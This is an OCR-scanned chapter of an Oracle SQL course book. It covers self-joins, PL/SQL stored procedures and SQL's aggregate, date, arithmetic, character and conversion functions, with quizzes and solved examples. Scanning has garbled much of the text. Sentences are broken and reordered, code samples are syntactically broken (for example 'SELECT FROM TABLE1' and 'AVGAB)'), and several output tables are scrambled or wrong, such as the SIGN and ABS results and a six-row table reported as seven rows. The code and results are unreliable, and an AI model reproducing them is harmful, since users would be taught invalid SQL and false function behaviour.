tables. The+ sign on the
ep.employee_id column will return all rows even if they are empty.
3.2.4 Joining a Table to Itself
The syntax of this operation is similar to joining two tables. For
example, to join table TABLE1 to itself, type this
INPUT
SELECT
FROM TABLE1, TABLE1
OUTPUT
ROW REMARKS ROW REMARKS

row 1 Table 1 row 1 Table 1


row Table 1 row 2 Table 1
row 1 Table 1 row 3 Table 1
row 1 Table 1 row 4 Table 1
row 1 Table 1 row 5 Table 1
row 1 Table 1 row 6 Table 1
row 2 Table 1 row 1 Table 1
row 2 Table 1 row 2 Table 1
row 2 Table 1 row 3 Table 1

row 2 Table 1 row 4 Table i

row 2 Table 1 row 5 Table 1

row 2 Table 1 row 6 Table 1

row 3 Table 1 row 1 Table 1


Table 1 row 2 Table 1
row 3
row 3 Table 1 row 3 Table 1
Table 1 row 4 Table 1
row 3
Table 1 row 5 Table 1
row 3
Table 1 row 6 Table 1
row 3
row 4 Table 1 row 1 Table 1
4 Table 1 row 2 Table 1
row

In its complete form, this join produces the same number of


combinations as joining two 6-row tables. This type of join could be
useful to check the internal consistency of data. What would happen if
someone fell asleep in the production department and entered a new
part with a PARTNUM that already existed? That would be bad news
for everybody: Invoices would be wrongi your application would

Query Multiple Tables 85


probably blow up; and in general you would be in for a very bad +
ime.
And the cause of all your problems would be the duplicate PARTNUM
M
in the table on the next page :

INPUT/OUTPUT
SELECT*FROM PART
PARTNUM DESCRIPTION PRICE
==::=:

54 PEDALS 54.25
42 SEATS 24.50
46 TIRES 15.25
23 MOUNTAIN BIKE 350.45
76 ROAD BIKE 530.00
10 TANDEM 1200.00
76 CLIPPLESS SHOE 65.00
-NOTE SAME #
You saved your company from this bad situation by checking PART
before anyone used it:

INPUT/OUTPUT
SELECT F.PARTNUM, F.DESCRIPTION,
S.PARTNUM,S.DESCRIPTION
FROM PART F, PARTS
WHERE F.PARTNUM =S.PARTNUM
AND F.DESCRIPTION S.DESCRIPTION

PARTNUM DESCRIPTION PARTNUM DESCRIPTION

76 ROAD BIKE 76 CLIPPLESS SHOE


76 CLIPPLESS SHOE 76 ROAD BIKE

3.1,3.2 Check Your Progress


Fill in the blanks
1) can be used for
joining of two tables.
2) A must return a value.
|3) A Procedure have

Oracle / 86
3.3 PROCEDURE AND FUNCTIONS

Procedures are simply a named PLISQL block, that executes


certain task. A procedure is completely portable among platforms in
which Oracle is executed
A function is similar lo a procedure. The main difference between
the function and procedure is that a function returns a value where
procedure does not.

3.3.1 Advantages of using Procedures and Functions


1. Improved performance
A block is placed on the database it is parsed at the time it is
stored. When it is subsequently executed Oracle already has
the block compiled and it is therefore much faster.
Reduce the number of calls to the database and decrease
network traffic by bundling commands.
2. Improved maintenance
Modify routines online without interfering with other users.
Modify one routine to affect multiple applications.
Modify one routine to eliminate duplicate testing.
3. Improved data security and integrity :
Control indirect access to objects from non privileged users.
Ensure that related actions are performed together or not at
all, by funnelling actions for related tables through a single
path.

3.4 CREATING A PROCEDURE


A procedure is created using CREATE PROCEDURE command.
Syntax
CREATE OR REPLACE] PROCEDURE procedure_name
[(argument [in/outin out) datatype .argument [in/out/in out)
datatype..))
ISI AS)
variable declaration
(PUSQL block)
ote: Square brakets ( indicate optional part.
CREATE PROCEDURE
POCedure with the
procedure_name will create a new
given procedure name. OR REPLACE is an

Query Multiple Tables 87


optional clause. Itis used to change the definition of an evict.
isting
procedure.

Ifthe procedure accept arguments specify argument details as,


OUT/ IN OUT datatype
Argument_name IN/
Argument_name indicate Variable_namne
IN indicate the variable is passed by the calling programto
to
procedure.
OUT indicate that the variable pass value from procedure to

calling program.
IN OUT indicate that the variable can pass values both in and out

of a procedure.
Datatype specify any PUSQL datatype.

PROCEDURE
3.5 EXECUTING A

To execute the stored procedure simply call it by name in

EXECUTE command as
SQL> execute myproc1(7768);
7768.
This will execute myproc1 with the value
is
The second method ofcalling the procedure
Write the following code in an editor.
Declare
C_empno number;
Begin
Myproc1(&c_empno);
End:

Execute it as
SQL
In this case the value of variable c_empno
is accepted from us
and then it is pass to myproc1 procedure.
command,
To see the effect of this procedure use
SQL>select from emp

3.6 DELETING A PROCEDURE

command is use
o delete a procedure DROP PROCEDURE
Syntax

Oracle/ 88
DROP PROCEDURE procedúre_name;
For example
DROP PROCEDURE myproc1

3.7 FUNCTIONS
Functions in SQL enable you to pertorm feats such as determining
the sum of a column or converting all the characters of a string to
uppercase. By the end of the day, you will understand and be able to
use all the following:
(a) Aggregate functions
(b) Date and time functions
(c) Arithmetic functions
(d) Character functions
(e) Conversion functions
() Miscellaneous functions.
These functions greatly increase your ability to manipulate the
information you retrieved using the basic functions of SQL that were
described earlier this week. The first five aggregate functions,
COUNT. SUM, AVG, MAX, and MIN, are defined in the ANSI
standard. Most implementations of SaL have extensions to these
aggregate functions, some of which are covered today. Some
implementations may use different names for these functions.
3.7.1 Aggregate Functions
These functions are also referred to as group functions. They
return a value based on the values in a column. (After all, you would
not ask for the average of a single field.) The examples in this section

usethe table TEAMSTATS


INPUT
SOL> SELECT FROM TEAMSTATS;
OUTPUT:
NAME POS AB HITS WALKS SINGLES DOUBLES TRIPLES HR Sso
---=-=* **

34
JONES 1B 145 45 31 8 10
23
DONKNOW 38 175 65 50 10 4 15
15
WORLEY LF 157 49 24
35 3 16
DAVID OF 187 70 48 0 17 42
10
HAMHOCKER 38 50 12 10 0 0 13
0
CASEY DH 1 0 0 0
6 rows selected

Query Multiple Tables 89


coUNT that satisfy th.
COUNT returns the
number of rows the
The function wanted to know how man
any
condition in the WHERE
clause. Say you
under 350. You
would type,
were hitting
ball players
INPUT/OUTPUT

sQL> SELECT COUNT()


2 FROM TEAMSTATSs
2
3 WHERE HITS/AB <.35;
COUNT()

SUM
sum of alti values in a column
SUM does just that. It returns the
To find out how many singles have been hit, type,
INPUT

sQL> SELECT SUM(SINGLES) TOTAL_SINGLES


2 FROM TEAMSTATS;
OUTPUT
TOTAL _SINGLES
174
To get several sums, use
INPUT/OUTPUT
sQL SELECT
SUM(DOUBLES) SUM(SINGLES)
TOTAL_DOUBLES, TOTAL sINGLES

SUM(TRIPLES) TOTAL_TRIPLES, sUM(HR) TOTAL HR


2 FROM TEAMSTATS;

TOTAL_SINGLES TOTAL_DOUBLES TOTAL TRIPLES TOTAL HR

174 32 5 29

To collect similar information on all 300 or better players


INPUTIOUTPUT

Oracle 90
sQL> SELECT SUM(SINGLES) TOTAL SINGLES,
SUM(DOUBLES) TOTAL_DOUBLES,
sUM(TRIPLES) TOTALTRIPLES, SUMHR) TOTAL_HR
2 FROM TEAMSTATS
WHERE HITS/AB »= 300;
3

TOTAL_SINGLES TOTAL_DOUBLES TOTAL_TRIPLES TOTAL_HR

164 30 5 29
AVG
column. To find the
The AVG function computes the average of a

use this:
average number of strike outs,
INPUT
sQL> SELECT AVG(so) AVE_STRIKE_OUTS
2 FROM TEAMSTATS;
OUTPUT:
AVE_STRIKE_OUTS

16.166667
between SUM and AVG
illustrates the difference
The following example
INPUT/OUTPUT
TEAM_AVERAGE
SQL> SELECT AVG(HITS/AB)
2 FROM TEAMSTATS;

TEAMAVERAGE
268034488
MAX MAX. For
value in a column, use
find the largest
If you want to of hits ?
example, what is the
highest number
INPUT
SQL SELECT MAX(HITS)
FROM TEAMSTATS;
2
OUTPUT
MAX (HITS)

70

Tables / 91
F7 Query Multiple
Can you find out who has the most hits?
INPUT/OUTPUT
sQL>SELECT NAME
2 FROM TEAMSTATS
3 WHERE HITS = MAX(HITS);
ERROR at line 3
ORA-00934: group function is not allowed here.
Unfortunately. you can't. The error message is a reminder that this
group function (remember that aggregate functions are also clled
group functions) does not work in the WHERE clause. Don't despair
Day 7, "Subqueries The Embedded SELECT Statement" coversthe
cept of subqueries and explains a way to find who has the MAX
hits.
MIN
MIN does the expected thing and works like MAX except it returns
the lowest member of a column. To find out the fewest at bats, type
INPUT
SOL SELECT MIN(AB)
2 FROM TEAMSTATS;
OUTPUT
MIN (AB)

1
The following statement returns the name closest to the beginning
ofthe alphabet
INPUTIOUTPUT
SQL> SELECT MIN(NAME)
2 FROM TEAMSTATS;

MIN (NAME)

CASEY
You can combine MIN with MAX to give a range of values. For
example
INPUTIOUTPUT

sQL> SELECT MIN (AB), MAX (AB)


2 FROM TEAMSTATS;
Oracle/92
MIN(AB) MAX(AB)

187
This sort of information can be useful when using statistical
functions
.VARIANCE

VARIANCE produces the square of the standard deviation, a


number vital to raany statistical calculations. It works like this:
INPUT
sQL> SELECT VARIANCE(HITS)
2 FROM TEAMSTATs;
OUTPUT:
VARIANCE(HITS)

802.96667
Example for string,
INPUT/OUTPUT:
sQL> SELECT VARIANCE(NAME)
2 FROM TEAMSTATS;

ERROR
ORA-01722: invalid number
no rows selected,
you find that VARIANCE is another function that works exclusively
with numbers.
STDDEV
The final group function, STDDEV, finds the standard deviation of
a column of numbers, as demonstrated by this example :
INPUT
sQL> SELECT STDDEV(HITS)
2 FROM TEAMSTATS;
OUTPUT:
STDDEV(HITS)

28.336666
It also returns an error when confronted by a string :

Query Multiple Tables 93


INPUT/OUTPUT:

sQL> SELECT STDDEV(NAME)


2 FROM TEAMSTATS;

ERROR
ORA-01722: invalid number

no rows selected
can also be used in vano
functions
These aggregate

combinations
INPUT/OUTPUT:
sQL> SELECT COUNT(AB),
2 AVGAB),
3 MIN(AB),
4 MAX(AB),
5 STDDEV(AB),
6 VARIANCE{AB),
7 SUM(AB)
8 FROM TEAMSTATS;

cOUNT(AB) AVG(AB) MIN(AB) MAX(AB) STDDEV{AB) VARIANCE(AB) SUM(AB)

6 119.167. 1 187 75.589 5712.97 715


The next time you hear a sportscaster use statistics to fill the tim
between plays, you will know that sQL is at work somewhere behinc
the scenes.
3.7.2 Date and Time Functions
We live in divilization govemned by times and dates and
a
mos
major implementations of SQL have functions to cope with
concepts. This section uses the table PROJECT to demonstrate these
ne
time and date functions.
INPUT
sQL> SELECT FROM PROJECT
OUTPUT
TASK
STARTDATE ENDDATE

KICKOFF MTG
01-APR-95 01-APR-95
TECH SURVEY
02-APR-95 01-MAY-95
USER MTGS 15-MAY-95 30-MAY-95
Oracle/94
DESIGN WIDGET
01-JUN-995 30-JUN-95
01-JUL-995 02-SEP-95
CODE WIDGET

03-SEP-95 17-JAN-96
TESTING

6 rows selected.

.NEWTIME
to adjustthe time according to the time zone you are
If you need
function is for you. Here are the time zones you can
in the New_TIME
use with this function

Abbreviation
Time Zone

AST or ADT
Atlantic standard or daylight time

BST or BDT Bering standard or daylight time


CST or CDT Central standard or daylight timne

EST or EDT Eastern standard or daylight time

GMT Greenwich mean time


Alaska-Hawaii standard or daylight time
HST or HDT

MST or MDT Mountain standard or daylight time


Newfoundland standard time
NST

PST or PDT Pacific standard or daylight timne


daylight time
YST or YDT Yukon standard or

You can adjust your time like this

INPUT
SQL> SELECT ENDDATE EDT,
2 NEW_TIME(ENDDATE, 'EDT,PDT)

3 FROM PROJECT
OUTPUT
EDT
NEW TIME(ENDDATE

31-MAR-95 0900PM
01-APR-95 1200AM
30-APR-95 0900PM
01-MAY-95 1200AM
29-MAY-95 0900PM
30-MAY-95 1200AM
29-JUN-95 0900PM
30-JUN-95 1200AM
01-SEP-95 0900PMM
02-SEP-95 1200AM

Query Multiple Tables 95


17-JAN-96 1200AM 16-JAN-96 0900PM
6 rows selected.
Like magic, all the times are in the new time zone and the dates
are adjusted.
NEXTDAY
NEXT_DAY finds the name of the first day of the week that is
equal to or later than another specified date. For example, to send a
report on the Friday following the first day of each event, you wouid
type,
INPUT
SQL> SELECT STARTDATE,
2 NEXT_DAY(STARTDATE, 'FRIDAY")
3 FROM PROJECT;
Which would retun,
oUTPUT:
STARTDATE NEXT_DAY(

01-APR-95 07-APR-95
02-APR-95 07-APR-95
15-MAY-95 19-MAY-95
01-JUN-95 02-JUN-95
01-JUL-95 07-JUL-95
03-SEP-95 08-SEP-95
6 rows selected.
Theoutput tells you the date of the first
STARTDATE. Friday that occurs after your
SYSDATE
SYSDATE returns the system time and
date:
INPUT
sQL> SELECT DISTINCT
SYSDATE
2 FROM PROJECT;
OUTPUT
SYSDATE

18-JUN-95 1020PM
f you wanted to see where
you stood today in
you could type a certain projec
Oracle /96
INPUTIOUTPUT:

sQL> SELECT
2 FROM PROJECT
WHERE STARTDATE> SYSDATE:
3
TASK STARTDATE ENDDATE
*

CODE WIDGET 01-JUL-95 02-SEP-95


TESTING 03-SEP-95 17-JAN-96
Now you can see what parts of the project start after today.
2.7.3 Arithmetic Functions

Many of the uses you have for the data you retrieve involve
mathematics. Most implementations of SQL provide arithmetic
functions similar to the functions covered here. The examples in this
section use the NUMBERS table :

INPUT
SQL>SELECT
2 FROM NUMBERS;
OUTPUT:
A B

3.1415
45 .707
5 9
-57.667 42
15 55
-7.2 5.3
6 rows selected.
ABS
of the number you
The ABS function returns the absolute value

point to. For example:


INPUT
ABSOLUTE_VALUE
SQL> SELECT ABS(A)
2 FROM NUMBERS;

OUTPUT:
ABSOLUTE_VALUE

3.1415
45

Query Multiple Tables 97


5
57.667
15
7.2
6 rows selected.
negative numbers to positive and leav.
ABS changes all the
positive numbers alone.
CEIL and FLOOR
than or equal to
CEIL returns the smallest integer greater
ts

the reverse, returning the largest integer


argument. FLOOR does just
For example :
equal to or less than its argument.
INPUT
sQL SELECT B, CEIL(B) CEILING
2 FROM NUMBERS;
OUTPUT:
B CEILING

.707 1
9 9
42 42
55 55
5.3 6
6 rows selected.
And
INPUT/OUTPUT:
SQL SELECT A, FLOOR(A) FLOOR
2 FROM NUMBERS;
A FLOOR

3.1415 3
45 45
5 5
-57.667 -58
15 15
-7.2 -8
6 rows selected.

Oracle /98
cOs, cOsH, SIN, SINH, TAN and TANH
The COS, SIN, and TAN functions for various
provide support
trigonometric concepts. They all work on the assumption that n is in
values if
radians. The following statement returns some unexpected
COS expects A to be in radians.
you don't realize
INPUT
sQL SELECT A, COS(A)
2 FROM NUMBERS;
oUTPUT:
A COS(A)

3.1415 -1
45 .52532199

5 28366219

-57.667 437183
-7596879
15
-7.2 60835131
EXP used in
mathematical constant
raise e (e is a
EXP enables you to by the values
is how EXP raises
e
to a power. Here
various formulas)
in column A:
INPUT
SQL> SELECT A, EXP(A)
2 FROM NUMBERS;

OUTPUT:

A EXP(A)

23.138549
3.1415
2.863E-20
45
148.41316
5
9.027E-26
-57.667
3269017.4
15
00074659
-7.2
6 rows selected.

Query Multiple Tables 99


LN and LOG
These two functions center on logarithms. LN returns the natural

logarithm of its argument. For example :

INPUT:
sQL> SELECT A, LN(A)
2 FROM NUMBERS;

OUTPUT
ERROR:
ORA-01428: argument 45" is out of range
Did we neglect to mention that the argument had to be positive?
Write
INPUTIOUTPUT
sQL SELECT A, LN(ABS(A))
2 FROM NUMBERS;
A LN(ABS(A))

3.1415 1.1447004
45 3.8066625
5 1.6094379
-57.667 4.0546851
15 2.7080502
-7.2 1.974081
6 rows selected.
MOD
You have encountered MOD before. On Day 3, "Expressions,
Conditions, and Operators, you saw that the ANSI standard for the
modulo operator % is sometimes implemented as the function MO
Here is a query that retums a table showing the remainder of A divided
by B
INPUT
SQL SELECT A, B, MOD(A,B)
2 FROM NUMBERS;
OUTPUT:
A B MOD(A,B)
***

3.1415 3.1415
Oracle 100
45 .707 -459
5 9 5
57.667 42 -15.667
15 55 15
-7.2 5.3 -1.9
6 rows selected.
POWER
To raise one number to the power of
another, use POWER. In this
function the first argument is raised to the power of the second
INPUT
sQL> SELECT A, B, POWER(A, B)
2 FROM NUMBERS;
OUTPUT:
ERROR
ORA-01428: argument '45' is out of range
SIGN
SIGN returns -1 if its argument is less than 0, 0 if its
argument is
equal to 0 and 1 if its argument is greater than 0, as shown in the
following example:
INPUT
sQL SELECT A, SIGN(A)
2 FROM NUMBERS;
oUTPUT:
A SIGN(A)

3.1415 1
45 -1
5 1
-57.667 -1
15 1
-7.2 -1

7 rows selected.

Query Multiple Tables 101


sQRT:
The function SQRT returns the square root of an argument
Because the square root of a negative number is undefined, you
cannot use SQRT on negative numbers.

INPUTIOUTPUT:
SQL> SELECT A, SQRT(A)
2 FROM NUMBERS;
ERROR
ORA-01428: argument '45' is out of range
3.7.4 Character Functions
Many implementations of SQL provide functions to manipulate
characters and strings of characters. This section covers the most
common character functions. The examples in this section use the
table CHARACTERS.
INPUTIOUTPUT:

sOL>SELECT FROM CHARACTERS;


LASTNAME FIRSTNAME M CODE

PURVIS KELLY A 32
TAYLOR CHUCK 67
CHRISTINE LAURA C 65
ADAMS FESTER M 87
COSTALES ARMANDO A 77
KONG MAJOR G 52
6 rows selected.

CHR
CHR returns the character equivalent of the number it uses as an
argument. The character it returns depends on the character set of tne
database. For this example the database is set to ASCII. The column
CODE incdudes numbers.
INPUT
SQL SELECT CODE, CHR(CODE)
2 FROM CHARACTERS
OUTPUT
CODE CH
Oracle 102
32
67 C
65 A
87 N
77 M
52 4
6 rows selected.
The space
opposite the 32 shows that 32 is
character set. a
space in the ASCII
CONCAT
You used the
equivalent of this function on Day 3, when
learned about operators. The you
|| symbol splices two strings
does CONCAT. It
works like this together, as

INPUT:
sQL> SELECT
AND LAST NAMES" CONCAT(FIRSTNAME, LASTNAME) "FIRST
2 FROM CHARACTERS;
OUTPUT
FIRST AND LAST NAMES

KELLY PURVIS
CHUCK TAYLOR
LAURA CHRISTINNE
FESTER ADAMS
ARMANDDO COSTALES
MAJOR KONG
6 rows selected.
INITCAP
INITCAP capitalizes the first letter of a word and makes all other
characters lowercase.
INPUT
sQL> SELECT FIRSTNAME BEFORE, INITCAP(FIRSTNAME)
AFTER
2 FROM CHARACTERS;
OUTPUT:
BEFORE AFTER

Query Multiple Tables 103


KELLY Kelly
CHUCK Chuck
LAURA Laura
FESTER Fester
ARMANDo Armando
MAJOR Major
6 rows selected.
LOWER and UPPER
As you might expect, LOWER changes all the characters to
lowercase; UPPER does just the reverse.
The following example starts by doing a little magic with the
UPDATE function (you learn more about this next week) to change
one of the values to lowercase

INPUT
SOL> UPDATE CHARACTERS
2 SET FIRSTNAME="kelly'
3 WHERE FIRSTNAME ="KELLY";
OUTPUT:
1 row updated.
INPUT
SQL> SELECT FIRSTNAME
2 FROM CHARACTERS

OUTPUT
FIRSTNAME

kelly
CHUCK
LAURA
FESTER
ARMANDO
MAJOR
6 rows selected.
Then you write

Oracle 104
INPUT
sQL SELECT
LOWER(FIRSTNAME) FIRSTNAME, UPPER(FIRSTNAME),
2 FROM CHARACTERS;

oUTPUT:
FIRSTNAME UPPER(FIRSTNAME) LOWER(FIRSTNAME)
LOWER(FIRSTNAME)
kelly KELLY
CHUCK kelly
CHUCK
LAURA chuck
LAURA
FESTER laura
FESTER
ARMANDO fester
ARMANDO armando
MAJOR
MAJOR
6 rows selected. major
Now you see the desired behavior.
LPAD and RPAD
LPAD and RPAD take a minimum of
two and a maximum of
arguments. The first three
on. The second is the
argument is the character string be operated
to
number of characters to
optional third argument is the character to padit with, and the
it
pad with. The third
argument defaults to a blank, or it can be a
character string. The following statement adds single character or a
five pad characters,
assuming that the field LASTNAME is defined as a 15-character field:
INPUT:
sQL> SELECT LASTNAME, LPAD(LASTNAME,20,*")
2 FROM CHARACTERS;
OUTPUT:
LASTNAME LPAD(LASTNAME,20,"
PURVIS ****PURVIS
TAYLOR ****TAYLOR
CHRISTINE *****CHRISTINE
ADAMS ADAMS
coSTALESs *"COSTALES
KONG KONG
6 rows selected.

Query Multiple Tables 105


LTRIM and RTRIM
LTRIM and RTRIM take at least onø and at most wO argunents
The first argument, like LPAD and RPAD, is a character string. Tho

optional second element is oither a oheracter or character string o


that is not a blank
defaults to a blank. If you use a socond argument
these trim functions will trim that charactor the same way they trim the

blanks in the following examples.

INPUT
RTRIM(LASTNAME)
SQL> SELECT LASTNAME,

2 FROM CHARACTERS;
oUTPUT:
LASTNAME RTRIM(LASTNAME)

PURVIS PURVIS
TAYLOR TAYLOR
CHRISTINE CHRISTINE

ADAMS ADAMS
COSTALES COSTALES

KONG KONG
6 rows selected

You can make sure that the characters have been trimmed with
thefollowing statement

INPUT
sQLSELECTLASTNAME, RPAD(RTRIM(LASTNAME),20,")
2 FROM CHARACTERS;
OUTPUT:
LASTNAME RPAD(RTRIM(LASTNAME)
PURVIS**********md
PURVIS
TAYLOR**********naan
TAYLOR
CHRISTINE********naa
CHRISTINE
ADAMS*******RAAM*aaa
ADAMS
COSTALES*******nnae
coSTALES
KONG*****RAM*MAm*aa
KONG Oracle/ 106
6 rows selected
The output proves that trim is working. Now try LTRIM:

INPUT
saL> SELECT LASTNAME, LTRIM(LASTNAME, C
2 FROM CHARACTERS;
OUTPUT:
LASTNAME LTRIM(LASTNAME,
PURVIS PURVIS
TAYLOR TAYLOR
CHRISTINE HRISTINE
ADAMS ADAMS
coSTALES oSTALES
KONG KONG
6 rows selected.
Note the missing Cs in the third and fifth rows.
.REPLACE
REPLACE does just that. Of its three arguments, the first is the
string to be searched. The second is the search key. The last is the
optional replacement string. If the third argument is left out or NULL,
each occurrence of the search key on the string to be searched is
removed and is not replaced with anyhing.
INPUT
SQL SELECT LASTNAME, REPLACE(LASTNAME, 'ST)
REPLACEMENT
2 FROM CHARACTERS;
OUTPUT:
LASTNAME REPLACEMENT

PURVIS PURVIS
TAYLOR TAYLOR
CHRISTINE CHRIINE

ADAMS ADAMS
COSTALES COALES

KONG KONG

F8
Query Multiple Tables 107
6 rows selected.
each occurrencs
have a third argument, it is substituted for
If you
For example :
of the search key in the targot string.
INPUT
REPLACE(LASTNAME, 'ST,"*
SQL SELECT LASTNAME,
REPLACEMENT
2 FROM CHARACTERS;

oUTPUT:
REPLACEMENT
LASTNAME

PURVIS PURVIS

TAYLOR TAYLOR

CHRISTINE CHRI INEÉ


ADAMS ADAMS
COSTALEES co ALESs
KONG KONG
6 rows selected.
target string is returned with
If the second argument is NULL, the
no changes

INPUT
SQL> SELECT LASTNAME, REPLACE(LASTNAME, NULL)
REPLACEMENT
2 FROM CHARACTERS;

OUTPUT:
LASTNAME REPLACEMENT

PURVIS PURVIS
TAYLOR TAYLOR
CHRISTINE CHRISTINE
ADAMS ADAMS
COSTALES COSTALES
KONG KONG
6 rows selected.
SUBSTR
This three-argument function enables you to take a piece out oifai
target string. The first argument is the target string. The
The second
seco
Oracle/ 108
ment is the position of the first character to be output. The third
a r g u m e n

is the number of characters to show.


rgument

INPUT
sOL SELECT FIRSTNAME, SUBSTR(FIRSTNAME,2,3)
2 FROM CHARACTERS;
OUTPUT:

FIRSTNAME SUB

kelly ell
CHUCK HUC
LAURA AUR
FESTER EST
ARMANDo RMA
MAJOR AJO
6 rows selected.
the second argument, the starting
If you use a negative number as
backwards from the end, like this
point is determined by counting
INPUT
SUBSTR(FIRSTNAME, -13, 2)
sQL> SELECT FIRSTNAME,
2 FROM CHARACTERS;

OUTPUT:
FIRSTNAME SU

kelly
CHUCK UC
LAURA UR
FESTER ST
ARMANDO MA
MAJOR JO
6 rows selected.
SUBSTR function. Suppose you
good use of the
Here, is another
50 characters
and a few columns are more than
are writing a report of the
SUBSTR function to reduce the width
wide. You can use the of the
size if you know the nature
olumns to a more manageable two examples
acual data. Consider the following

INPUT JOB_TBL;
SQL> SELECT NAME, JOB, DEPARTMENTFROM

Query Multiple Tables 109


oUTPUT:
NAME
DEPARTMENT
JOB
ALVIN SMITH
MARKETING
VICEPRESIDENT

1 Row selected.

ANALYSIS
around, which makes readin
Notice how the columns wrapped
this select
the results a little too difficult. Nowtry

INPUT
SQL SELECT SUBSTR(NAME, 1,15) NAME
SUBSTR(JOB,1,15) JOB,
DEPARTMENT
2 FROM JOB_TBL;
OUTPUT
JOB DEPARTMENT
NAME
ALVIN SMITH VICEPRESIDENT MARKETING

Much better!

TRANSLATE
The function TRANSLATE takes three arguments: the target
string, the FROM string, and the TO string. Elements of the targe

string that occur FROM string


in the are translated to the
corresponding element in the TO string.

INPUT:
sQL> SELECT FIRSTNAME, TRANSLATE(FIRSTNAME
2
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
3 "NNNNNNNNNNAAAAAAAAAAAAAAAAAAAAAAAAAA
4 FROM CHARACTERS;
OUTPUT:
FIRSTNAME TRANSLATE(FIRST

kelly kelly
CHUCK AAAAA
LAURA AAAAA
FESTER AAAAAA
ARMANDO AAAAAAA

Oracle 110
MAJOR
AAAAA
6 rows selected.

the function is case sensitive


Notice that

. I N S T R

a particular pattern occurs, use


To find out where in a string
The second argument is
INSTR. Its first argument is the target string.
The third and forth are numbers representing
theDattern to match. returns
looking and which match to report. This example
where to start with the
a number representing the first occurrence of O starting
second character
INPUT

sQL> SELECT LASTNAME, INSTR(LASTNAME,


'O, 2, 1)
2 FROM CHARACTERS;
oUTPUT:
LASTNAME INSTR(LASTNAME,0,2,1)

PURVIS
TAYLOR 5
CHRISTINE
ADAMS 0

coSTALES 2
KONG 2
6 rows selected.

LENGTH
lone character argument. For
LENGTH returns the length of its
example
INPUT
SQL> SELECT FIRSTNAME, LENGTH(RTRIM(FIRSTNAME))
2 FROM CHARACTERS;
OUTPUT:
FIRSTNAME LENGTH(RTRIM(FIRSTNAME))

5
kelly
CHUCK 5

LAURA
FESTER 6

Query Multiple Tables 111


ARMANDo 7
MAJOR 5
6 rows selected.

3.7.5 Conversion Functlons


These three conversion functions provide a handy way
use the
converting one type of data to another. These examples tabl
CONVERSIONS.
INPUT:
FROM CONVERSIONS;
SQL SELECT
OUTPUT:
NAME TESTNUM

40 95
13 23
74 68
The NAME column is a character string 15 characters wide, and
TESTNUM is a number.

TOTO_CHAR
The primary use of TO_CHAR is to convert a number into a
character. Different implementations may also use it to convert other
data types, Ilike Date, into a character or to include different
arguments. The nex example ilustrates the primary use of TO_CHAR
formatting
INPUT
sQL> SELECT TESTNUM,
TO_CHAR(TESTNUM)
2 FROM CONVERT;
OUTPUT:
TESTNUM TO_CHAR(TESTNUM)

95 95
23 23
68 68

TO_NUMBER
TONUMBER is the companion function to TO CHAR, and
course, it converts a string into a number. For
example
Oracle 112
INPUT

SQLS
SELECT NAME, TESTNUM,
TESTNUM TO_NUMBER(NAME)

2 FROM CONVERT;

oUTPUT:

NAME TESTNUM TESTNUM"TO_NUMBER(NAME)

40 95 3800
13 2,3 299
74 68 5032
3.7.6 Miscellaneous Functlons
Here, are three miscellaneous functions you may find useful.
GREATEST and LEAST
These functions find the GREATEST or the LEAST member from
a series of expressions. For example
INPUT SQL> SELECT GREATEST"ALPHA',
BRAVO',FOXTROT, 'DELTA')
2 FROM CONVERT;
OUTPUT:
GREATEST

FOXTROTT
FOXTROT
FOXTROT
USER
USER retums the character name of the current user of the database.
INPUT
sQL> SELECT USER FROM CONVERT;
OUTPUT:
USER

PERKINSS
PERKINS
PERKINS
here really is only one of me. Again, the echo occurs because of
t
number of rows in the table. USER is similar to the date functions

Query Multiple Tables 113


explained earlier today. Even though USER is not an actual columnin
the table, it is selected for each row that is contained in the table. in

3.5, 3.6,3.7 Check Your Progress


Fill in the blanks
1) Procedures can be executes by. command.
2) Keyword is stands for recreating the procedure
3) and is used to delete the proceure.

SOLVED EXAMPLESS
1. Pass empno as an argument to procedure and modify salary
of that emp.
CREATE OR REPLACE PROCEDURE myproct
(P_no IN number) argument
IS
v_sal number(10,2);
BEGIN
Select sal into v_sal
From empP
Where empno=p_n0
If v_sal> 1000 then
Update emp
Set sal = v_sal'1.75

Where empno=p_no0
Else
Update emp
Set sal = 5000

Where empno=p_no;
End if;
EXCEPTION
WHEN NO_DATA FOUND THEN
Dbms_output.put _line("Emp_no doesn't exists');
END myproc1;
wil
2. Pass a empno as argument to procedure and procedure
pass job to the caling program.
CREATE OR REPLACE PROCEDURE myproc2
(P_no IN number, p_job OUT emp.job%TYPE)/" arguments
IS

Oracle 114
v_job emp.job%TYPE;
BEGIN
Select JOB into v_job
From emp
Where empno=p_no;
P_job:=v
job;
EXCEPTION

WHEN NO_DATA_FOUND THEN

Pjob="NO
END myproc2
Calling procedure myproc2 using following code
Declare

C_empno number;
C_job emp.job%TYPE;
Begin
Myprocz(&c_empno.cjob);
If c_job="NO' then
Dbms_output.put_line(Emp_no doesn't exists');
Else
Dbms_output.put_line(' Job of emp. Is' || c_job);
End if
End;

Execute this code using


SQL>
and procedure pass will no. of
3. Passsalary to procedure
to given salary in the same
employee(s) having salary equal
variable. (Use IN OUT variable).
CREATE OR REPLACE PROCEDURE myproc3
arguments
(P_sal IN OUT emp.sal%TYPE)
S
V_count number;
BEGIN
Select count(") into v_count
From emp
Where sal=p_sal;
P_sal:=v_count
EXCEPTION
WHEN NO DATA FOUND THEN
P_sal:-0;

Query Multiple Tables 115


END myproc3;
Calling procedure myproc3 using following code
Declare
C_sal emp.sal%TYPE;
Begin
C_sal: &c_sal;
Myproc3(c_sal);
If c_sal=0 then
Dbms_output.put_line('No employee is having salary equal to
accepted salary');
Else
Dbms_output.put_line(No. of emp. having salary
accepted salary are lc_
sal);
End if
End:

Execute this code using


sQU

3.8 Summary

Joins are used to manipulate data from multiple tables. Types of joins
are 1) Equi-jions 2) Non-equi joins Procedures are simply a named
PUSQL block, that executes certain tasks.
Functions increase your ability to manipulate information you retrieved
using basic functions of SQL these are as follows
1) Aggregate Functions 2) Date & time Functions 3) Arithmetic
Functions 4) Character Functions 5) conversion Functions 6)
Miscellaneous functions.
Source: www8.silversand.net (e-link)

3.9 Check Your Progress-Answers

3.1,,3.3
1) Joins/Sub-Query
2) Function
3) In, Out, Inout

3.5,3.6,3.7
1)Exec
2)Recreate
3) Drop
Oracle 116
3.10 QUESTIONS FOR SELF STUDY

Vhy covet outer, inner, left, and right joins when I probably
0
wont ever use them ?

Q2 How many tables can you joln on ?


o3 Would it be fair to say that when tables are joined, they actually
become one table ?

Q4 How many rows would a two-table join produce if one table had
50,000 rows and the other had 100,000 ?
Q.5 In the WHERE clause, when joining the tables, should you do
the join first or the conditions?
